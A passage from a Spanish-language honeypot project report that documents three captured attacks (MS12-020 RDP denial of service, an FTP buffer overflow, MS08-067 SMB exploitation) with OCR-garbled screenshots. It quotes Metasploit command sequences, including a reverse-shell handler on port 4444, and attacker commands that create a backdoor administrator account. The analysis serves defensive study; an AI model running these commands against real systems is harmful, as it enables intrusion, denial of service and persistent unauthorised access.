instalar sus dependencias para poder compilar posteriormente sus fuentes. Las
dependencias que se van a instalar son: subversion, make, gcc, automake,
autoconf, libc6-dev, patch, linux-headers-server.
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te-1.11 para proveer susrsbinsaut

root@monitoreo:,

Autores.

Después de instalar las dependencias se procede a descomprimir el paquete del
servidor sebek para su compilacion.

FIGURA 36 Desempaquetar paquete servidor sebek

root@monitoreo: hame 4 = =

Autores.

Con el paquete descomprimido se ingresa en la carpeta sebekd-3.0.3 de la ruta
creada previamente, para configurar el ambiente para la compilacion de las
fuentes, esto por medio del comando ./configure (en este punto es cuando se hace
uso de las dependencias instaladas, sin haber instalado estas generara un error al
tratar de compilar las fuentes).
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FIGURA 37 Configuracion de ambiente para compilacion servidor sebek
i ' 0. 3# ‘contigure

n
g
r
r 1 e L
n fFar : = af¥ =, .. GHU
n f .. -
n F aulil 3 b ut file name...
Il i

r

n

g : ..
ng whet : the GHLU compiler... yes
r

Autores.

En este punto, después de haber preparado el ambiente ya es posible iniciar la
compilacién de las fuentes por medio del comando make.

FIGURA 38 Compilacion de fuentes servidor sebek

ekd-3.0.3% make

al directorio

Autores.

Por ultimo solo resta terminar la instalaciéon del servidor con el comando make
install. Este descomprime 3 scripts en la ruta /usr/local/bin/
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FIGURA 39 Fin de la instalacion serV|dor sebek

Autores

Aunque muestra un mensaje de error al salir de la carpeta de instalacién, este no
genera traumatismo, ya que lo Unico que se necesita es que se encuentren los 3
archivos en la ruta indicada.

Después de realizada la instalaciéon del servidor, solo resta lanzar el programa
para la escucha de los registros de actividad originarios del cliente sebek. Para
ello se ejecuta el comando: “sbk_extract -i ethO -p 1101 | sbk_ks_log.pl”

FIGURA 40 Iniciar escucha del servidor sebek

root@monitoren
manitoring etho:

Autores.
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9.2.6 Router. Tal como se comento en previos apartados, se procede a ubicar el
Honeypot en la DMZ del enrutador. Es por ello que la figura 41 muestra los
paradmetros de configuracion aplicados dentro del enrutador para tal fin.

Figura 41. Configuracion DMZ Router

D-Link

BuIMIing Networks 1or People ﬁ pl | | 5"" G
DSL - 2640T ROUTER

[ Home NYIZUITTR Tools Status Help

DMZ{Demilitarized Zone} is used to allow a single computer on the LAN to be exposed to
the Internet.

@ Enabled O Disabled
IP Address 192.168.0. 102
Virtual Server
Allow WAN's access traffic from the DMZ to LAN Metwork
Application
(Z)Enabled @ Disabled
Filter

Frecoa @ 9 0

Apply Cancel Help

JARHE -

DDNS
DMZ

I P

erformance

Logout
Autores.

Cabe resaltar que se deshabilito la opcién de permitir el trafico de acceso de la
WAN desde la DMZ a la red LAN, con el fin de evitar cualquier tipo de ataque o
trafico desde el Honeypot hacia la red interna de Soluconstruccion.

Finalmente el honeypot inicio su funcionamiento el dia: 01/01/2013 hasta:
31/01/2013, como se indica en el cronograma, lapso de tiempo durante el cual fue
vigilado 7x24 (7 dias de la semana por 24 horas) utilizando el Servidor de
Monitoreo.
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9.3 HALLAZGOS Y RESULTADOS

Los siguientes son los hallazgos encontrados en el Honeypot durante el periodo
de tiempo que estuvo en funcionamiento.

9.3.1 Ataque 1.

Tabla 10. Resumen ataque 1

Cod. del Servicio y Puerto
) 1 Local RDP (3389/ TCP)
Ataque
Vulnerado
IP Remota 181.50.18.218
(Atacante) 96.47.226.21 | IP Local (Honeypot) (192.168.0.102)

Vulnerabilidad

Puerto Remoto 10797 MS12-020
Explotada
Fecha Ataque 13/01/2013 Hora Atague 09:10:52 p.m.
Autores.

Dentro del andlisis de los registros del servidor de monitoreo y el HoneyBOT se
verifico una conexién al puerto RDP 3389 del Escritorio Remoto, la cual se
muestra en la figura 42.
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Figura 42. Registro ataque DoS puerto RDP 3389

HoneyBOT - Log_20130 byin - =]
| 3! 2| i
W Packet Log (RDP
+|- Purtg 8 ( ) | 8
+l- Remates Connection Details: Packet History
_l[f'_alEf 103-”103 2?2013 Time | Direction | Bytes | Data
ime: 09:10:52 pom. .
Milisecond: 390 03 A i SN
Time Zone: -5:00 e - =
Source IP: 96.47.226.21 031056 pm. R 0 FiM
Source Port: 10797
Server [P 132.168.0.102
Server Port; 2383 [RDP)
Protocal: TCP
Bytes Sent: 0
Bytes Received, 210
9] | H
Packet Data: 5 2 T T |0 10§ [
) SO0 SO SB[ &E[ BE( BE[ BE[ BE[ 3B & MW
Wiew as (% text
" hex
£ | < | > | ¥ |
130102013 031052 prm. 96472262 10797 152.168.0.102 3389 TCR
130152013 0910:57 pon. 96.47.226.21 15624 192.168.0.102 3389 TCP =
130172013 0911:25 pom. 0.0.0.0 513 192.168.0.102 E7 UDP b
< | 4

Autores.

En los detalles de dicha conexion se muestra el envi6 de 210 bytes desde el
equipo atacante al Honeypot utilizando el servicio RDP situacién que no habia
sucedido con otras conexiones al mismo servicio registradas en la consola de
HoneyBOT, es por ello que se investigo en un buscador web la relacién de estos
210 bytes con algun ataque a RDP especifico, como lo muestra la siguiente figura.
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Figura 43. Busqueda ataque RDP 210 bytes

+TG Biasqueda Imagenes Play Noticias Gmall Drive Calendar Traductor Libros Mas -
Google  Rrop 210 bytes attack

Web Imagenes Aplicaciones Més ~ Herramientas de blsqueda

UTM: How to Open Remote Desktop, Citrix ICA or RDP trafficto a ...
https://'www.fuzeqna.com/sonicwallkb/consumer/kbdetail.asp?kbid...

18/12/2009 — UTM: How to Open Remote Desktop, Citrix ICA or RDP traffictoa ... TZ
200W, TZ 205, TZ 205W TZ 210, TZ 210W,TZ 215, TZ 215W. .... On the Security
Services > Intrusion Prevention if you have enabled Prevent ALL for Low Priority
attacks, ... Rx Bytes » Rx Packets = Tx Bytes = Tx Packets. Ensure you do not ...

MS12-020 RDP Vulnerability overview and testing | Information ...
infolookup.securegossip.com/.../ms12-020-rdp-v... - Traducir esta pagina
24/03/2012 — 192.168.2.10:3389 — Sending MS12-020 Microsoft Remote Desktop Use-
After- Free DoS [*] 192.168.2.10:3389 — 210 bytes sent ...

MS12-020 Metasploit Fun | adventures {in}security
blackundertone.wordpress.com/.../ms12-020-met... - Traducir esta pagina
25/03/2012 — 10.6.6.1:3389 — Sending MS12-020 Microsoft Remote Desktop Use-After-
Free DoS [*] 10.6.6.1:3389 — 210 bytes sent [*] 10.6.6.1:3389 ...

https://www.google.com.co/search?q=rdp+210+bytes+attack&spell=1&sa=X&ei=n-
91UYa-Fc3h4APWz4HABQ&ved=0CCsQBSgA

Con esta busqueda se tuvo un primer indicio que muy probablemente la conexion
en mencion que enviaba 210 bytes, podia estar relacionada con la explotacion de
la vulnerabilidad MS12-020. Lo anterior debido a que una vez se consulto el sitio
web del segundo resultado de la busqueda®, se encontré la descripcién paso a
paso de un ataque al escritorio remoto con Backtrack usando Metasploit, alli se
mostraba que una vez se ejecutaban la totalidad de los comandos descritos,
efectivamente se enviaban 210 bytes a la maquina victima para generar una
Denegacion de Servicio al RDP como se muestra en la figura 44 y 45.

% E| sitio web consultado fue: http://infolookup.securegossip.com/2012/03/24/ms12-020-rdp-
vulnerabilty-overview-and-testing/, el dia 26/02/2013.
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Figura 44. Descripcion de la vulnerabilidad MS12-020

24 MS12-020 RDP Vulnerability overview and testing
2012

By now if you have been paying attention to your news readers,
Google plus or twitter feed you would have noticed that Microsoft
released a patch to a nasty denial of service (DOS) vulnerability.
Here is a bit of information about the vulnerabillity; “This security
update resolves two privately reported vulnerabilities in the
Remote Desktop Protocol. The more severe of these
vulnerabilities could allow remote code execution if an attacker sends a sequence of
specially crafted RDP packets to an affected system.”

In short the system would crash and have a “blue screen of death” thus causing the system to
reboot. Now the other option would allow and attach to have remote code execution on the
affected system. Even though this patch was released over two weeks ago most
organizations are still vulnerable and that's not because the choose to be however most
places have a “patch cycle” which require extensive testing prior to deployment.

As explained by the fine people over at ISC Diary The Microsoft released patch has several
reference KB's which includes " KB2671387 (Remote Code Execution — CVE-2012-0002)
and KB2667402 (Denial of Service — CVE-2012-0152) or KB2621440. The reference for the
update you'll see on a Windows system, when installed, depends on the version of the OS
you're running. For Windows 7 you'll likely note KB2667402, whereas you should only expect
KB2621440 on a Windows XP host. As always before applying any patch ensure that you
read the release notes.

We recently patched our internet facing servers that had RDP enabled and everything went
well with the exception of one server that we were unable to log back into via RDP, we had to
gain access to the server via the ILO port then applied a few additional patches then rebooted
and that seen to solve the issue.Now for the fun part if you would like to test the proof of
concept exploit for this vulnerability grab a copy of Metasploit follow the steps below.

My Test setup:

http://infolookup.securegossip.com/2012/03/24/ms12-020-rdp-vulnerabilty-
overview-and-testing/
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Figura 45. Comandos explotacion vulnerabilidad MS12-020

msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > show options

Module options (auxiliary/dosi/windows/rdp/ms12_020_maxchannelids):

Name Current Setting Required Description

RHOST yes The target address
RPORT 3389 yes The target port

msf auxiliary(ms12_020_maxchannelids) > set RHOST 192.168.2.10
RHOST => 192.168.2.10
msf auxiliary(ms12_020_maxchannelids) > run

[*] 192.168.2.10:3389 - Sending MS12-020 Microsoft Remote Desktop Use-After-Free
DoS

192.168.2.10:3389 - 210 bytes sent

[*] 192.168.2.10:3389 - Checking RDP status...
[+] 192.168.2.10:3389 seems down
[*] Auxiliary module execution completed

RHOST = The vulnerable host that is running a vulnerable version of RDP

http://infolookup.securegossip.com/2012/03/24/ms12-020-rdp-vulnerabilty-
overview-and-testing/

Para verificar si efectivamente la conexion en mencion estaba relacionada con la
explotacion de la vulnerabilidad MS12-020, el equipo de trabajo del presente
proyecto procedié a simular el ataque con los comandos especificados en la
anterior figura 45. En primera medida se procedi6 a instalar la herramienta
Backtrack, a continuacion se ingreso a la consola de Metasploit digitando los
comandos del ataque, cambiando el RHOST por la IP del Honeypot,
posteriormente se procedio a realizar la explotacion con el parametro exploit como
lo indica la figura 46.
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Figura 46. Simulacion explotacion vulnerabilidad MS12-020

N INEL TR -root@"bt:~
File Edit View Terminal Help

X

ncoders -

s/windows/rdp/ms12 naxchannelids
) = r RHOST 181.50.18.2

ary| ) >.set RHOST 181.50.18.2
. 50718, 218

> exploit
.50.18.218:33 - Sending MSI2-020 Microsoft Remote Desktop.lUs€-After-Fr

.50.18.218: - 210 bytes sent
.50.18.218:3389 - Checking RDP status...
seems down
cution completed

u’ ary m uLe e
uxitiary|( ) I

Autores.

Efectivamente el exploit de la vulnerabilidad MS12-020 envia 210 bytes a la
maquina victima (Honeypot) para cumplir con su cometido: realizar una
denegacion del servicio RDP, cuyo resultado se refleja en la visualizacion del
pantallazo azul de la figura 47 y en la generacién del registro de la figura 48 en la
consola del HoneyBOT, el cual es similar al de la figura 42.
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Flgura 47. Pantallazo azul denegacion servicio RDP

lem has been detected and windows
COmputer.

rhe driver s tempting to ac

this s ThH FﬁrfT time you
sta If this

e any new hard 2 software is prope

:l-|-|:I.T'.IIIrI. 3 ; vare or softw:

rechnical information:

“EH STOP: 0x000000D5 (0 B1La00

- Address 8DE

Autores.
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Figura 48. Registro ataque DoS puerto RDP 3389 Simulado

HoneyBO a 70130 hin - [=]
el | = LY - - [ y
= = BRI Pl )
+| Ports A
P #* Packet Log (RDP) =E3] ©
Connection Details: Packet History
?late: 10331%' -"2%013 Time | Direction | Bytes | Data
ime: 0%:16:26 p.m. 1E
Millsecand: 765 0316:26 p.m. _ SYN
Time Zone: -5:00 —— =
Source IP: 191.5018.218 031823 pm. Rx 0 FIN
Source Port: BO188
Server IF: 192.168.0.102
Server Port: 3389 [RDF)
Protocol: TCF
Buytes Sent: 0
Buytez Received: 210
$ *
Packet Data: B T [ [ 11
) S50 SB[ SB[ BE[ BE[ MO ME[ BE[ 8B &4 &
Wiew az  (« test
i hex
124 ‘ < | ¥ ‘ ¥ ‘
13072013 097626 pm. 181.5018.218 EOTE8 192.168.0.102 3389 TCP -
1302013 031623 pm. 181.5018.218 R0953 192168.0102 3389 TCRP b
< | >
Autores.

Para terminar con el andlisis de este primer ataque se procede a mostrar los
registros generados por Snort y Wireshark en los que se observa el trafico del
ataque, asi como la busqueda de la direccion IP del atacante médiate un whois
para verificar la procedencia del mismo, que para el presente caso es San
Francisco (Estados Unidos), como se indica en la figura 51.
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El monitoreo con Snort género una alarma visual en la terminal, la cual indico una
conexion andmala al puerto 3389. Una vez fue detectada, se procedié a revisar
este asunto en mayor detalle examinando el contenido del paquete con Wireshark.

Figura 49. Registro Snort ataque DoS puerto RDP 3389

';3 Ubuntuserver - VMware Player (Non-commercial use only) = . | | S
Player ~ v of WO «

Autores..

Usando la terminal de Wireshark, se consulto el contenido del paquete usado en el
ataque al RDP (ms-wbt-server), en el puerto origen: 10797, al momento de
realizar el Three-Way-Handshake*’, como lo muestra la figura 50.

" Estandar de comunicacién en el protocolo TCP, que define el establecimiento de una conexion
entre el emisor y receptor.
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Fiura 50. Registro Wireshark DoS puerto RDP 3389

4= Ubuntuserver - ViMware Player (Non-commercial use only)

T.125 264

47 . 60 [TCP Dup ACK © #1] ms-uwht-
Hin=1731¢

102 TCP 60 10797 > ms-ubt-server [FIM,

Autores.

Figura 51. Basqueda Whois direccion IP 96.47.226.21
‘@ DomainTools

HOME | RESEARCH | MONITOR BUY DOMAIMNS

IP Information for 96.47.226.21

IP Location: Bl United States San Francisco Axigy
ASN: B AsB100 IPTELLIGENT - IPTelligent LLC (registered Oct 22, 2009)
Resolve Host: bolobolo2.torservers.net
IP Address: 96.47.226.21 [w| [r]| [P] [&] [T
Whois Server whois.arin.net

NetRandge : 96.47.224.0 - 96.47.239.255

CIDR: 96.47.224.0/20

Originnas: AS8100

NetName : IPTELLIGENT

HetHandle: HET=96=47=224=0=1

Farent: NMET=96=0=0=0=0

HetType: Direct Allcoccation

Reghate: 2009-11-23

Updated: 2012=02<24

Ref: http: //whois.arin.net/rest/net/MET=-96=47=224=-0=1

domaintools.com
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9.3.2 Ataque 2.

Tabla 11. Resumen ataque 2

. Servicio y Puerto
cod. del 2 Local FTP (21/ TCP)
Ataque
Vulnerado
IP Remota IP Local 181.50.18.218
(Atacante) 173.254.216.67 | 15 heypot) (192.168.0.102)
Puerto Remoto 54170 Vulnerabilidad Mlcrqsoft IS FTP
Explotada Service overflows
Fecha Ataque 17/03/2013 Hora Ataque 10:35:11 a.m.
Autores.

El segundo ataque detectado corresponde a un BufferOverflow dirigido hacia el
puerto 21 del Honeypot, tal cual se muestra en la siguiente figura:

Figura 52. Registro ataque BufferOverflow servicio FTP

e | e | | il gd | o '
| s {2l % IR
o
 Fors Packet Log (ftp)
+- Fremotes Connection Details: Packet History
Date: 17/01/2013 Time | Direction Bytes Data
Tirne: 10:35:11 &.m. 10:3517 am. R 0 SN
Millizecond: 640
: S N 41
Time Zone: -5:00 e 499 ’
Source [P 173,254 216.67 . i = 4
Source Port; 54170 10:35:12 am. A= 438 AgBAqrAgBig
Crver IP- 150 166,002 103513 am R 30 Bh2Bh3BhBhEBHEBR7E hBBhSBIOBN
Server Port: 21 [itp) 10:35:13 am. TH 38 530 Please login with USER and PASS.1I
Pratocal: TCP 103513 am. RX a FIM
Eutes Sent: 79
BEytes Received: 1026
< >
Packet Data:
View as  (+ bext i
T B TS AT 1A 20 [ A 44104 B FAIBA Ak DAk 1A K 24k 2k 44k Bak BAk FakBA
" hex kSAIDANT A2 3414452 IEA7AIBAI9A MDA M T Amn2am3AmdimBAmBAm 7 AmBamIsntanl An
28n3ndAnSanBANTANEANTA0OADT AZA0 00 44008 08507 A 0BA0 A p0ADT Ap2ApEapd
< | < | 5| > | |apsapRap7ApBApSAclag AczAq3AqHAGE
17/01/2013 10:3511 am. 17325421667 54170 192.168.0.102 21 TCP
17/01/2013 10:36:36 am. 96.47.226.20 57741 192.168.00102 199 TCP
1720172013 10:36:37 am. 96.47.226.20 23200 192.168.0.102 a0s0 TCP b
< »
Autores.
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La anterior figura 52 muestra claramente un caracter repetido constantemente en
una conexion al puerto 21 del Honeypot, lo cual es un indicador de
desbordamiento de buffer.

Revisando el registro del ataque capturado por Wireshark, se puede verificar el
BufferOverflow claramente a pesar de que el caracter se visualiza como un
simbolo desconocido, sin embargo la figura 53 permite identificar claramente su
constante repeticion.

Figura 53. Registro Wireshark ataque BoF puerto 21 FTP
— =il

————————
'iﬂ Ubuntuserver - VMware Player (Non-commercial use only) =L Y| -

67 FTP 107

TCF 66 54170 > ftp [ACK] Seg=1 Ack=42

=2
7

173 L168.0.102 FTP 564 Reguest: #%Z004A+44eddbbtdibdd
¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢++¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢++¢+¢
(AAA R AR R LA R A R AR A R A R R R R R AR R R R R A R R A R A R R A R R R A R R R R AR LA RN
¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢++¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢¢+¢+¢+¢+¢+¢++¢+l

Autores.
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De igual forma Snort detecto y genero una alarma en su consola principal, en la
cual se visualizaba una actividad sospechosa al puerto 21 por parte de la direccion
IP: 173.254.216.67, esta informacion fue comparada con los registros obtenidos
del Wireshark y el HoneyBOT, de esta manera se pudo determinar que el ataque
ejecutado fue de tipo BufferOverflow.

Figura 54. Registro Snort ataque BoF puerto 21 FTP
L5 Ubuntuserver - Viviware Player (Mon-commercial use_ | ‘:'_l =] |‘§:§ |

snort

: ftp: F
win 115, opt [nop,nop,

.041

Autores.

Finalmente se realizo la busqueda a la IP del atacante: 173.254.216.67, la cual
arrojo como procedencia: Chesapeake Noisebridge, Estados Unidos.
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Figura 55. Busqueda whois IP 173.254.216.67

{2 DomainTools

HOME ‘ RESEARCH ‘ MONITOR BUY DOMAINS

IP Information for 173.254.216.67

IP Location: [ United States Chesapeake Moisebridge
ASN: B As29761 OC3-NETWORKS-AS-NUMBER Web Africa Proxy aut-num

Resolve Host: exit-0ib.noisetor.net

IP Address: 173.254.216.57 (] [] [o]

Whois Server whois.arin.net

HetRange: 173.254.192.0 = 173.254.255.255

CIDR: 173.254.192.0/18

OriginhS: AS29761

NetMame : OC3-NETWORES2

HetHandle: HET=173=254=192-0=1

Parent: HET=173=0=0-0=0

HetType: Direct Alloccation

RegDate: 2010=10=19

Updated: 2012-03-02

Ref: http://whois.arin.net/rest/net/NET=173-254=192=0=1

domaintools.com
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9.3.3 Ataque 3.

Tabla 12. Resumen ataque 3

Céd. del Ataque

3

Servicio y Puerto
Local Vulnerado

SMB (443/ TCP)

IP Remota
(Atacante)

201.244.140.37

IP Local (Honeypot)

181.50.18.218
(192.168.0.102)

Vulnerabilidad

Puerto Remoto 18244 ms08_067_netapi
Explotada
05:41:31 p.m.
Fecha Ataque 29/01/2013 Hora Ataque 11:13:43 p.m.
Autores.

El tercer ataque fue detectado por la herramienta SEBEK, esta permitié detectar
las pulsaciones de teclado digitadas por un atacante en el Honeypot como se
muestra en la figura 56.

El primer comando digitado por al atacante (de arriba hacia abajo en la figura 56):
“net user admin /add”, genero la creacién del usuario: “Admin”. El segundo: “net
user Admin Admin1234”, asigno una contrasefia el usuario recién creado. El
tercero: “net localgroup administradores Admin /add” muestra la asignacion del
usuario recientemente creado al grupo de administradores, para elevar los
privilegios del mismo en el sistema.
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Figura 56. Registro Sebek digitacion comandos

L& Ubuntusarver - VMware Player (Non-commercial use only)

Player = > O g

1656 FD:0 INO:0 COM:cmd.exe

1:468 FD

IMO:0 COM:cmd.exe 1#
INO:0Q COM:netl.exe ]

INO:O COM:ne

656 F

0 INO:0 COM:netl.exe

rEeC

B F.[] 0 IN

ecieved 35 lost 12

Autores.

Para analizar con un mayor grado de detalle el ataque, se procedi6 a verificar en
la terminal de Wireshark y Snort los paquetes y alarmas relacionados con la fecha
y hora en que se digitaron los comandos anteriormente descritos.

La figura 57 muestra la consola de Wireshark, esta muestra los paquetes
capturados en la fecha y hora en que se digitaron los comandos. Al efectuar tal
revision, se observa que la direccion IP Publica: 201.244.140.37 realizo el request

o solicitud servicio SMB del honeypot.
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Figura 57. Registro Wireshark conexion SMB del atacante al honeypot

L5 Ubuntuserver - VMware Player (Non-commercial use only)

Player = >~ iF W o 4

LQUIRED
B 4° ion Setup AndX Reguest,

201.244.140.37 SMB 105 ion Setup Andi

ion Setup

El sistema de deteccion de intrusos (Snort), género la alarma de la figura 58, en
ella se puede apreciar la conexién previamente mencionada de la IP de origen:
201.244.140.38 haciendo uso del protocolo SMB. Comparando las captura de
Wireshark con las alarma del Snort, hay un aspecto que llama la atencién y es el
puerto 4444 de origen el cual no aparece en los registros del Wireshark.
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Figura 58. Registro Snort conexion SMB del atacante al honeypot

U5 Ubuntuserver - VMware Player (Non-commercial use only) = 23

Player = > iF W o 4
@ RWER: rslo

File tocpdun

Autores.

Con el animo de verificar alguna relacion del puerto 4444 con algun tipo de ataque
usando el protocolo SMB, se procedi6 al igual que en el ataque 1 a realizar una
basqueda en la web para verificar la posibilidad de encontrar tal relacion como se
indica en la figura 59.
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Figura 59. Busqueda relacion ataque smb con el puerto 4444

Bisqueda Imagenes Play Noticlas Gmail Drive Calendar Traductor Libros

Mas -

g}_ H2¢uB  smbattack 4444

Web Imagenes Mas ~ Herramientas de blsqueda

Aproximadamente 775.000 resultados (0,30

Sugerencia: Buscar solo resultados en espaiiol . Puedes especificar el idioma de
busqueda en Preferencias

Executing SMB Relay Attacks via SQL Server using Metasploit ...

www.netspi.com/.../executing-sm... - Estados Unidos - Traducir esta pagina
26/12/2012 — In summary, an SMB Relay attack can be loosely defined as the process
.... session 1 opened (192.168.1.102:4444 -> 192.168.1.101:1059) at ...

Habitacion 511 — (V) Metasploit 4.0 : Exploit&backdoor
www.habitacion511.eu/index.php/iv-metasploit-4-0-exploitbackdoor/
20/10/2011 — msf > use exploit/windows/smb/ms08_067 _netapi ... Started reverse
handler on 192.168.1.87:4444 [*] Automatically ... Mass Mailer Attack ...

CarnalOwnage & Attack Research Blog
carnalOwnage.attackresearch.com/ - Traducir esta pagina

04/03/2013 — We have finalized our training schedule for Attack Research for the year.
.... rake db:create db:migrate unicomn:start(4444] ..... but there were network ACLs in
place that prohibited SMB communications between the hosts.

https://www.google.com.co/search?q=rdp+210+bytes+attack&spell=1&sa=X&ei=n-

91UYa-Fc3h4APWz4HABQ&ved=0CCsQBSgA#q=smb+attack+4444

A continuacion se procedio a consultar el segundo de los resultados obtenidos,
puesto que su etiqueta mostraba alguna relacién con un exploit de Metasploit

correspondiente a las figuras 60, 61 y 62.
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Figura 60. Descripcion explotacion vulnerabilidad ms08 067 _netapi 1

En este capitulo vamos a explotar una vulnerabilidad encontrada en un host y aftadiremos un backdeor permanente |,
subiendo un archivo y haciendo unas modificaciones en el registro de la maguina con windows , para enteder COMo se
carga y se ejecutan estas vulnerabilidades.,

Habiamos detectaco esta vulnerabilidad :

$ msf > vuins

[*] Time: 2011-10-08 07:25:37 UTC Vuin: host=192.168.1.89 name=exploit/windows/smb/ms08_067_netapi refs=CVE-
PO0B-4250,0SVDB-48243 MS8-MS08-067 NEXPOSE-dcerpc-ms-netap-netpathcanonicalize-dos

Bien ahora lo que vamos a hacer es cargaria , Voy 2 conectar al meterpreter manuaimente . Primero elegimos ef explol a usar y luego el payload |

wsf > use exploit/windows/seb/as@8_867_netapl

usf exploit(wsf8_867_netapl) » set PAYLOAD windows/seterpreter/reverse_tcp

Namos a ver que opciones podermos modficar ;

http://www.habitacion511.eu/index.php/iv-metasploit-4-0-exploitbackdoor/

Figura 61. Descripcion explotacion vulnerabilidad ms08 067 _netapi 2

En este caso solo me interesa modificar el RHOST y el LHOST lo hago de la siguente manera :

wsf > sot RHOSY 192.168.1.89 [ ip vulnerable )

osf > set LHOST 192.168.1.87 ( =1 ip )

Y cargamos ol exploit :

usf exploit{esds_867_netapi) » exploit

Started reverse handler on 192,168.1.87:4444

] Automatically detecting the target...

] Fingerprint: Windows XP - Service Pack 2 - lang:Spanish

] Selected Target: Windows XP SP2 Spanish (NX)

] Attempting to trigger the vulnesability...

] Sending stage (752128 bytes) to 192.1685.1.839

] Meterpreter session 1 opened (192.168.1.87:4444 -> 192.168.1.89:1836) at 2011-18-14 20:32:32 «0200

seterpreter >

Ya tenormos creada una sesion en ef host vulnerable |

http://www.habitacion511.eu/index.php/iv-metasploit-4-0-exploitbackdoor/
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Figura 62. Descripcion explotacion vulnerabilidad ms08 067 _netapi 3
LISTENER :

wssf exploit(asON_867 _netaps) > use aulti/handler

25f explolt(handler) » set PAYLOAD windows/shell/reverse_tcp
PAYLOAD »> windows/shell/reverse_tep

nsf exploit(handler) » set lhost 197.165.1.87

lhost »> 192.168.1.87

En este punto ejecutamos exploit y se quedara escuchando en el la ip y &l puerto que hamos asignado , reniciamos el host vuinerable y & arracar
el sistema se conectard a la shel

asf exploit(handles) » oxploit

[*) Started reverse tondles on 192.166.1.87:4444
[*] Starting the payload handler...
[*] Sending stoge (240 bytes) to 192.168.1.89
*)] Cossand shell session S opened (192.168.1.87:£444 -» 192,168.1.89:1825) at 2011-18-14 21:89:26 +8200

Microsoft Nindows XP [version 5.1.2608)
{C) Copyright 1585-2091 Microsoft Corp,

C:\Docuwents and Settings\Adwinistrador>

http://www.habitacion511.eu/index.php/iv-metasploit-4-0-exploitbackdoor/

Al verificar el contenido de las anteriores capturas del sitio web*®, se observo la
descripcion de un conjunto de pasos para ejecutar un ataque que explotaba la
vulnerabilidad MS08 067 netapi, la cual segun dicho website, permitia ejecutar
codigo arbitrario haciendo uso de protocolo smb a través del puerto 4444, con el
fin de ganar acceso a una terminal o Shell de Microsoft Windows™ con privilegios
administrativos.

La anterior descripcion de la vulnerabilidad MS08_067_netapi, se correlaciono con
el andlisis de la consolas de Sebek, Wireshark y Snort, puesto que en el caso de
sebek coincidia el uso de una terminal en la cual se ejecutaron comandos para la
creacion del usuario no autorizado a altas horas de la noche (situacién bastante
sospechosa). De igual forma en el caso de Wireshark y Snort mostraba estrecha
similitud la descripcion hecha en el anterior website respecto al andlisis de las
alarmas y paquetes del protocolo SMB el puerto 4444 detectados por Snort y
Wireshark.

Lo anterior permite concluir que muy probablemente el ataque numero 3, estuvo
relacionado con la explotacién de la vulnerabilidad MS08_067_netapi usando una
herramienta como meterpreter de Metasploit.

“ El sitio web consultado fue: http://www.habitacion511.eu/index.php/iv-metasploit-4-0-
exploitbackdoor/, el dia: 28/02/2013
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Para terminar con el presente analisis, es relevante mencionar que en la consola
del Honeybot el dia 29/01/2013 a las 11:13 p.m., 6 horas después de que se
detecto la digitacion de los comandos para la creacion del aquel usuario
sospechoso (Admin) con sebek, se encontré un registro de conexion al puerto 23
(telnet) en el que se intentaba hacer un log in con el Usuario: Admin y la
contrasefia: Admin1234, lo cual indica que el atacante intento conectarse a tal
servicio con el usuario creado horas antes, puesto que la I[P origen:
201.244.140.37, es la misma con la que se efectud el ataque de los comandos
previamente explicado.

Figura 63. Registro conexion log in telnet atacante

® Packet Log (telnet)
i | g LT i . .
I ; _ﬂ Hl Connection Details: Packet History
= Date: 23/01/2013 Time | Ditection | Bytes | Data
+I- Parts pine 11 13aapm 1M1343pm FAX 0 SYN =
+ Remotes Time Zone: 500 111344 pm T L v coTR—,
Source |P: 20124414037 TEET TG
Source Port 18244 o R
Server IP; 192.168.0.102 e L
Server Part: 23 [telnet] 1350 pm
Praotocal: TCF Taalpom, agin Failled
111350 pm. T 0 FIN
Bytes Sent; 35
Bytes Received: 45
£ >
Packet Data: lAdmin‘I 234 I
View as  ( text
" hex
<« | 3 | * | »» |
29/01/2013 111343 pm 201.244.140.37 18244 192.168.0.102 23 TCF
29/01/213  11E34 pom 201.244.140.37 18259 192.168.0.102 443 TCF
29/01/2013 11635 pm. 201.244740.37 18262 192.168.0.102 | TCP
29/01/2013 11635 pm. 201.244740.37 18264 192.168.0.102 3306 TCP
29/01/2013 11635 pm. 201.244.140.37 18266 192.168.0.102 an TCP
29/01/2013 11635 pm. 201.244.740.37 18269 192.168.0.102 1720 TCP
28/01/2013 111835 pm. 201.244.140.37 18271 192.168.0.102 139 TCF b
£ >
1E7 recaords 1336 zockets
Autores.

Finalmente se realizo la busqueda a la IP del atacante: 201.244.140.38, la cual
arrojo como procedencia: Bogota, Colombia con el ISP* ETB

“* Internet Service Provider (Proveedor de Acceso a Internet).
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Figura 64. Busqueda whois IP 201.244.140.38

{ DomainTools

IP Information for 201.244.140.38

IP Location: = Colombia Bogota Etb - Colombia
ASN: = 1519429 ETB - Colombia (registered Jan 05, 2001)
Resolve Host: =2ds|201-244140038.dvn.eth.net.co

IP Address: 201.244.140.38 ] [F] [£]

Wheois Server whois.lacnic.net

inetnums: 201.244/16

status: allocated

aut-nums: W/

OWIEer: ETB = Colombia

ownerid: CO=ETBE-LACNIC

responsible: Direccion Disefic & Ingenieria DDI
address: Calle 22 F, 39, 16

address: 9999 < Bogota = Cu

country: co

phone: +57 1 2426104 []

HOME ‘ RESEARCH ‘ MONITOR BUY DOMAINS

Domaintools.com
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9.4 RECOMENDACIONES DE REMEDIACION

Con base en el andlisis de vulnerabilidades y demas hallazgos encontrados en el
honeypot, se plantea en la tabla 13 el plan de remediaciéon conforme a los
siguientes aspectos:

Criticidad de la vulnerabilidad.

Solucion en el corto, mediano o largo plazo.
Control a implementar.

Costo del control.

Facilidad de implementacion.

En aras de plantear contramedidas de remediacion que permitan hacer frente a las
vulnerabilidades detectadas.

Finalmente es pertinente hacer énfasis en que el contenido de los campos: Codigo

de vulnerabilidad, Nombre vulnerabilidad y Criticidad de la Tabla 13, estdn dados
por la base de datos de vulnerabilidades de OSSIM.
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Tabla 13. Remediaciéon de Vulnerabilidades

Soluci . .Grado
L 4 - Dificultad de
Caodigo o onen Costo
Vulnerabili Nombre Criticid el Control | Contr la
dad Vulnerabilidad ad Tiem ol Impl,ementa
p
o cion del
Control
Instala
r
